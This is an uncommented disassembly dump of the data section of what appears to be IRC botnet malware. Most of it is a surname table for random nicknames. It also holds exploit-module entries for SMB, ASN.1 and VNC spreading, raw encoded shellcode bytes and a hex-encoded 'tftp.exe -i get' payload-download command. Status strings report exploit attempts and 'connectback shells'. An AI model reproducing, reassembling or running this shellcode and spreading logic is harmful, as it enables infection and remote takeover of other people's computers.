aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .data:00446284o
		align 4
aSexton		db 'Sexton',0           ; DATA XREF: .data:00446288o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: .data:0044628Co
aShaikh		db 'Shaikh',0           ; DATA XREF: .data:00446290o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: .data:00446294o
		align 4
aShankland	db 'Shankland',0        ; DATA XREF: .data:00446298o
		align 10h
aShanley	db 'Shanley',0          ; DATA XREF: .data:0044629Co
aShar		db 'Shar',0             ; DATA XREF: .data:004462A0o
		align 10h
aShatrov	db 'Shatrov',0          ; DATA XREF: .data:004462A4o
aShavelson	db 'Shavelson',0        ; DATA XREF: .data:004462A8o
		align 4
aShea		db 'Shea',0             ; DATA XREF: .data:004462ACo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: .data:004462B0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .data:004462B4o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: .data:004462B8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .data:004462BCo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .data:004462C0o
		align 10h
aShia		db 'Shia',0             ; DATA XREF: .data:004462C4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .data:004462C8o
aShimon		db 'Shimon',0           ; DATA XREF: .data:004462CCo
		align 4
aSiesto		db 'Siesto',0           ; DATA XREF: .data:004462D0o
		align 10h
aSigalot	db 'Sigalot',0          ; DATA XREF: .data:004462D4o
aSigini		db 'Sigini',0           ; DATA XREF: .data:004462D8o
		align 10h
aSigna		db 'Signa',0            ; DATA XREF: .data:004462DCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: .data:004462E0o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .data:004462E4o
		align 10h
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .data:004462E8o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: .data:004462ECo
aSites		db 'Sites',0            ; DATA XREF: .data:004462F0o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: .data:004462F4o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .data:004462F8o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: .data:004462FCo
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .data:00446300o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: .data:00446304o
		align 4
aSmilow		db 'Smilow',0           ; DATA XREF: .data:00446308o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: .data:0044630Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .data:00446310o
		align 10h
aSocolow	db 'Socolow',0          ; DATA XREF: .data:00446314o
aSolon		db 'Solon',0            ; DATA XREF: .data:00446318o
		align 10h
aSomers		db 'Somers',0           ; DATA XREF: .data:0044631Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: .data:00446320o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .data:00446324o
		align 10h
aSorg		db 'Sorg',0             ; DATA XREF: .data:00446328o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .data:0044632Co
		align 10h
aSoukup		db 'Soukup',0           ; DATA XREF: .data:00446330o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .data:00446334o
		align 10h
aSoultanian	db 'Soultanian',0       ; DATA XREF: .data:00446338o
		align 4
aSpanier	db 'Spanier',0          ; DATA XREF: .data:0044633Co
aSparrow	db 'Sparrow',0          ; DATA XREF: .data:00446340o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .data:00446344o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .data:00446348o
aSpence		db 'Spence',0           ; DATA XREF: .data:0044634Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .data:00446350o
aSpicer		db 'Spicer',0           ; DATA XREF: .data:00446354o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .data:00446358o
		align 4
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .data:0044635Co
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .data:00446360o
aStmartin	db 'StMartin',0         ; DATA XREF: .data:00446364o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .data:00446368o
aStam		db 'Stam',0             ; DATA XREF: .data:0044636Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: .data:00446370o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .data:00446374o
		align 10h
aStates		db 'States',0           ; DATA XREF: .data:00446378o
		align 4
aStatlender	db 'Statlender',0       ; DATA XREF: .data:0044637Co
		align 4
aStefani	db 'Stefani',0          ; DATA XREF: .data:00446380o
aSteiner	db 'Steiner',0          ; DATA XREF: .data:00446384o
aStephanian	db 'Stephanian',0       ; DATA XREF: .data:00446388o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .data:0044638Co
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .data:00446390o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .data:00446394o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: .data:00446398o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .data:0044639Co
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .data:004463A0o
		align 4
aStockwell	db 'Stockwell',0        ; DATA XREF: .data:004463A4o
		align 4
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .data:004463A8o
aStonich	db 'Stonich',0          ; DATA XREF: .data:004463ACo
aStorer		db 'Storer',0           ; DATA XREF: .data:004463B0o
		align 10h
aStott		db 'Stott',0            ; DATA XREF: .data:004463B4o
		align 4
aStrange	db 'Strange',0          ; DATA XREF: .data:004463B8o
aStrauch	db 'Strauch',0          ; DATA XREF: .data:004463BCo
aStreiff	db 'Streiff',0          ; DATA XREF: .data:004463C0o
aStringer	db 'Stringer',0         ; DATA XREF: .data:004463C4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .data:004463C8o
		align 4
aSumner		db 'Sumner',0           ; DATA XREF: .data:004463CCo
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: .data:004463D0o
aSurdam		db 'Surdam',0           ; DATA XREF: .data:004463D4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .data:004463D8o
		align 4
aSweetser	db 'Sweetser',0         ; DATA XREF: .data:004463DCo
		align 4
aSwindle	db 'Swindle',0          ; DATA XREF: .data:004463E0o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .data:004463E4o
aTai		db 'Tai',0              ; DATA XREF: .data:004463E8o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .data:004463ECo
		align 4
aTambiah	db 'Tambiah',0          ; DATA XREF: .data:004463F0o
aTandler	db 'Tandler',0          ; DATA XREF: .data:004463F4o
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .data:004463F8o
		align 10h
aTatar		db 'Tatar',0            ; DATA XREF: .data:004463FCo
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .data:00446400o
aTawn		db 'Tawn',0             ; DATA XREF: .data:00446404o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .data:00446408o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .data:0044640Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: .data:00446410o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .data:00446414o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: .data:00446418o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .data:0044641Co
		align 10h
aThan		db 'Than',0             ; DATA XREF: .data:00446420o
		align 4
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .data:00446424o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .data:00446428o
aThibault	db 'Thibault',0         ; DATA XREF: .data:0044642Co
		align 4
aThisted	db 'Thisted',0          ; DATA XREF: .data:00446430o
aThomsen	db 'Thomsen',0          ; DATA XREF: .data:00446434o
aThroop		db 'Throop',0           ; DATA XREF: .data:00446438o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .data:0044643Co
aTill		db 'Till',0             ; DATA XREF: .data:00446440o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .data:00446444o
aTofallis	db 'Tofallis',0         ; DATA XREF: .data:00446448o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .data:0044644Co
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .data:00446450o
		align 4
aTolman		db 'Tolman',0           ; DATA XREF: .data:00446454o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .data:00446458o
aToomer		db 'Toomer',0           ; DATA XREF: .data:0044645Co
		align 4
aTopulos	db 'Topulos',0          ; DATA XREF: .data:00446460o
aTorresi	db 'Torresi',0          ; DATA XREF: .data:00446464o
aTorske		db 'Torske',0           ; DATA XREF: .data:00446468o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: .data:0044646Co
		align 4
aToye		db 'Toye',0             ; DATA XREF: .data:00446470o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .data:00446474o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .data:00446478o
		align 10h
aTrewin		db 'Trewin',0           ; DATA XREF: .data:0044647Co
		align 4
aTringali	db 'Tringali',0         ; DATA XREF: .data:00446480o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .data:00446484o
aTroy		db 'Troy',0             ; DATA XREF: .data:00446488o
		align 4
aTruss		db 'Truss',0            ; DATA XREF: .data:0044648Co
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .data:00446490o
aTsomides	db 'Tsomides',0         ; DATA XREF: .data:00446494o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .data:00446498o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: .data:0044649Co
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .data:004464A0o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: .data:004464A4o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .data:004464A8o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: .data:004464ACo
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: .data:004464B0o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: .data:004464B4o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .data:004464B8o
		align 10h
aUllman		db 'Ullman',0           ; DATA XREF: .data:004464BCo
		align 4
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .data:004464C0o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .data:004464C4o
aUrban		db 'Urban',0            ; DATA XREF: .data:004464C8o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .data:004464CCo
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .data:004464D0o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: .data:004464D4o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .data:004464D8o
		align 4
aWaite		db 'Waite',0            ; DATA XREF: .data:004464DCo
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .data:004464E0o
aValencia	db 'Valencia',0         ; DATA XREF: .data:004464E4o
		align 4
aWales		db 'Wales',0            ; DATA XREF: .data:004464E8o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .data:004464ECo
		align 4
aWalter		db 'Walter',0           ; DATA XREF: .data:004464F0o
		align 4
aVanallen	db 'vanAllen',0         ; DATA XREF: .data:004464F4o
		align 10h
aVanzwet	db 'VanZwet',0          ; DATA XREF: .data:004464F8o
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .data:004464FCo
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .data:00446500o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .data:00446504o
		align 10h
aWasowska	db 'Wasowska',0         ; DATA XREF: .data:00446508o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: .data:0044650Co
aWaugh		db 'Waugh',0            ; DATA XREF: .data:00446510o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .data:00446514o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: .data:00446518o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .data:0044651Co
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .data:00446520o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .data:00446524o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: .data:00446528o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .data:0044652Co
		align 4
aWelsh		db 'Welsh',0            ; DATA XREF: .data:00446530o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .data:00446534o
aVenne		db 'Venne',0            ; DATA XREF: .data:00446538o
		align 4
aVerghese	db 'Verghese',0         ; DATA XREF: .data:0044653Co
		align 10h
aWescott	db 'Wescott',0          ; DATA XREF: .data:00446540o
aWetzel		db 'Wetzel',0           ; DATA XREF: .data:00446544o
		align 10h
aWhately	db 'Whately',0          ; DATA XREF: .data:00446548o
aWhilton	db 'Whilton',0          ; DATA XREF: .data:0044654Co
aWhite		db 'White',0            ; DATA XREF: .data:00446550o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .data:00446554o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: .data:00446558o
		align 4
aViana		db 'Viana',0            ; DATA XREF: .data:0044655Co
		align 4
aViano		db 'Viano',0            ; DATA XREF: .data:00446560o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .data:00446564o
aWiener		db 'Wiener',0           ; DATA XREF: .data:00446568o
		align 10h
aViens		db 'Viens',0            ; DATA XREF: .data:0044656Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .data:00446570o
aWilder		db 'Wilder',0           ; DATA XREF: .data:00446574o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .data:00446578o
aWilk		db 'Wilk',0             ; DATA XREF: .data:0044657Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .data:00446580o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .data:00446584o
		align 4
aVillarreal	db 'Villarreal',0       ; DATA XREF: .data:00446588o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: .data:0044658Co
aWilson		db 'Wilson',0           ; DATA XREF: .data:00446590o
		align 4
aVitali		db 'Vitali',0           ; DATA XREF: .data:00446594o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .data:00446598o
aVoigt		db 'Voigt',0            ; DATA XREF: .data:0044659Co
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .data:004465A0o
		align 4
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .data:004465A4o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .data:004465A8o
aWooden		db 'Wooden',0           ; DATA XREF: .data:004465ACo
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .data:004465B0o
		align 4
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .data:004465B4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .data:004465B8o
aVotey		db 'Votey',0            ; DATA XREF: .data:004465BCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: .data:004465C0o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .data:004465C4o
		align 4
aYankee		db 'Yankee',0           ; DATA XREF: .data:004465C8o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .data:004465CCo
aYates		db 'Yates',0            ; DATA XREF: .data:004465D0o
		align 4
aYbarra		db 'Ybarra',0           ; DATA XREF: .data:004465D4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: .data:004465D8o
aYesson		db 'Yesson',0           ; DATA XREF: .data:004465DCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: .data:004465E0o
		align 4
aYoffe		db 'Yoffe',0            ; DATA XREF: .data:004465E4o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .data:004465E8o
aYoukSee	db 'Youk-See',0         ; DATA XREF: .data:004465ECo
		align 4
aYu		db 'Yu',0               ; DATA XREF: .data:004465F0o
		align 10h
aZachary	db 'Zachary',0          ; DATA XREF: .data:004465F4o
aZahedi		db 'Zahedi',0           ; DATA XREF: .data:004465F8o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: .data:004465FCo
		align 4
aZegans		db 'Zegans',0           ; DATA XREF: .data:00446600o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .data:00446604o
aZoldak		db 'Zoldak',0           ; DATA XREF: .data:00446608o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .data:0044660Co
aZurn		db 'Zurn',0             ; DATA XREF: .data:00446610o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .data:00446614o
		align 4
aZytowski	db 'Zytowski',0         ; DATA XREF: .data:00446618o
		align 4
; char aS_38[]
aS_38		db '%s',0               ; DATA XREF: sub_40B0A2+28o
		align 4
; char aSI_3[]
aSI_3		db '%s%i',0             ; DATA XREF: sub_40B0A2+4Fo
		align 4
; char aS_39[]
aS_39		db '%s',0               ; DATA XREF: sub_40B10F+19o
		align 4
; char aSI_4[]
aSI_4		db '%s%i',0             ; DATA XREF: sub_40B10F+40o
		align 10h
; char aPc[]
aPc		db 'PC',0               ; DATA XREF: sub_40B1BA+6o
		align 4
aPc_0		db 'PC',0               ; DATA XREF: sub_40B1BA+30o
		align 4
aPc_1		db 'PC',0               ; DATA XREF: sub_40B1BA+5Co
		align 4
; char aSI_0[]
aSI_0		db '%s%i',0             ; DATA XREF: sub_40B1BA+87o
		align 4
; char aS_22[]
aS_22		db '%s|',0              ; DATA XREF: sub_40B260+2Fo
; char aSI_1[]
aSI_1		db '%s%i',0             ; DATA XREF: sub_40B260+56o
		align 10h
a95		db '95',0               ; DATA XREF: sub_40B2D5+4Fo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B2D5+5Do
		align 4
a98		db '98',0               ; DATA XREF: sub_40B2D5+6Do
		align 4
aMe_0		db 'ME',0               ; DATA XREF: sub_40B2D5+7Do
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_40B2D5+96o
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B2D5+A6o
		align 4
a2k3		db '2K3',0              ; DATA XREF: sub_40B2D5+B4o
a???		db '???',0              ; DATA XREF: sub_40B2D5:loc_40B390o
; char aS_23[]
aS_23		db '[%s]|',0            ; DATA XREF: sub_40B2D5+C4o
		align 4
; char aSI_2[]
aSI_2		db '%s%i',0             ; DATA XREF: sub_40B2D5+EBo
		align 10h
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40B3DF+1Fo
		align 4
aM_0		db '[M]',0              ; DATA XREF: sub_40B3DF+2Co
; char aDS[]
aDS		db '[%d]%s',0           ; DATA XREF: sub_40B3DF+3Ao
		align 4
aMirc_1		db 'mIRC',0             ; DATA XREF: sub_40B3DF:loc_40B42Eo
		align 4
; char aM_1[]
aM_1		db '[M]',0              ; DATA XREF: sub_40B3DF+5Co
dword_4490D0	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B687+C4o
		db 66h,	0B9h
word_4490DE	dw 0FFFFh		; DATA XREF: sub_40B687+CCw
		db 80h,	73h, 0Eh
byte_4490E3	db 0FFh			; DATA XREF: sub_40B687+D3w
		dd 0F9E243h
dword_4490E8	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B687+A2o
		db 0B1h
byte_4490F5	db 0FFh			; DATA XREF: sub_40B687+AAw
		dw 7380h
		db 0Ch
byte_4490F9	db 0FFh			; DATA XREF: sub_40B687+B0w
		dw 0E243h
		dd 0F9h
dword_449100	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B510+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_449164	dd 12h			; DATA XREF: sub_40B510+3Dw
		dd 70746674h, 6578652Eh, 20692D20h
aGet		db ' get ',0            ; DATA XREF: sub_40B510+79o
					; sub_40B510+9Bo
aJ_0		db 'j',0
		db 0E8h
dword_44917D	dd 17h			; DATA XREF: sub_40B510+4Dw
		db 75h,	1, 0C3h
		db 0E8h
dword_449185	dd 1			; DATA XREF: sub_40B510+45w
byte_449189	db 0, 6Ah, 0		; DATA XREF: sub_40B510+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_449193	dd 0FFFFFFEDh		; DATA XREF: sub_40B510+5Dw
		db 0C3h
		dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h,	44B0AAF3h
		dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
		dd 0C3h
dword_4491C4	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40B84B+10o
; char aD_S_0[]
aD_S_0		db '%d. %s',0           ; DATA XREF: sub_40B84B+46o
		align 10h
; char aSSStopped_DThr[]
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40BA1C+35o
		align 4
; char aSNoSThreadFoun[]
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40BA1C+51o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C989+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BE72+30o
					; sub_41C76A+2CBo
		align 4
		dd 5 dup(0)
dword_449248	dd 0B97h		; DATA XREF: sub_401CC7+1D58r
					; sub_401CC7+1D84o ...
off_44924C	dd offset sub_40EB60	; DATA XREF: sub_40C989+1EAr
dword_449250	dd 0			; DATA XREF: sub_40BCE2+2Eo
					; sub_40DB44+19Ew ...
dword_449254	dd 1			; DATA XREF: sub_40C165+1Fr
dword_449258	dd 1			; DATA XREF: sub_40C165+3B3r
dword_44925C	dd 0			; DATA XREF: sub_40C165+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch
		dd offset sub_40EC96
		dd 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh
		dd offset sub_40E9F5
		dd 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh
		dd offset sub_40E9F5
		dd 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh
		dd offset sub_40DB44
		dd 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh
		dd offset sub_40DB44
		dd 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch
		dd offset sub_41C76A
		dd 5 dup(0)
		dd 10100h, 0Eh dup(0)
aNet139_0	db 'net139',0
		align 4
		db 2 dup(0)
byte_44942A	db 1			; DATA XREF: sub_401CC7:loc_40399Dr
					; sub_401CC7+1CE0o
aNet445_0	db 'net445',0
		align 4
		dd 73610100h, 3534346Eh, 0
		dd 636E7601h, 0
		dd 1000000h, 3 dup(0)
		dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
		dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
		dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
		dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
		dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
		dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah,	9912589Ah
		dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
		dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
		dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh,	1059AA24h
		dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
		dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h,	10A1DF10h
		dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
		dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
		dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
		dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
		dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
		dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
		dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
		dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
		dd 99h
; char asc_4495D8[]
asc_4495D8	db '-'                  ; DATA XREF: sub_40BCE2+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
; char asc_4495F8[]
asc_4495F8	db ' '                  ; DATA XREF: sub_40BCE2+46o
		db 3, 37h, 25h
		dd 203A0373h, 2C6425h
; char aTotalDInS_[]
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40BCE2+86o
		align 4
; char asc_449618[]
asc_449618	db '-'                  ; DATA XREF: sub_40BDB1+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
; char asc_449660[]
asc_449660	db '-'                  ; DATA XREF: sub_40BE1D+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
; char asc_44968C[]
asc_44968C	db '-'                  ; DATA XREF: sub_40BE72+14o
		db 3, 34h, 2
		dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch
		dd 3Ah
; char asc_4496A8[]
asc_4496A8	db ' '                  ; DATA XREF: sub_40BE72+40o
		db 3, 37h, 25h
		dd 28200373h, 73253403h, 2C2903h
; char aScanTimeS_[]
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BE72+7Fo
; char asc_4496C8[]
asc_4496C8	db '-'                  ; DATA XREF: sub_40BF39+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
; char asc_4496F8[]
asc_4496F8	db '-'                  ; DATA XREF: sub_40BF39+172o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
; char asc_44972C[]
asc_44972C	db '-'                  ; DATA XREF: sub_40C0EE+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
; char asc_449748[]
asc_449748	db '-'                  ; DATA XREF: sub_40C0EE+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
; char asc_449768[]
asc_449768	db '-'                  ; DATA XREF: sub_40C165+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_2	db ' Server started on Port: %d, File: %s.',0
		align 4
; char asc_44979C[]
asc_44979C	db '-'                  ; DATA XREF: sub_40C165+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_35	db ' Failed to start server, error: <%d>.',0
		align 10h
; char asc_4497D0[]
asc_4497D0	db '-'                  ; DATA XREF: sub_40C165+1FEo
		db 3, 34h, 2
		db  66h	; f
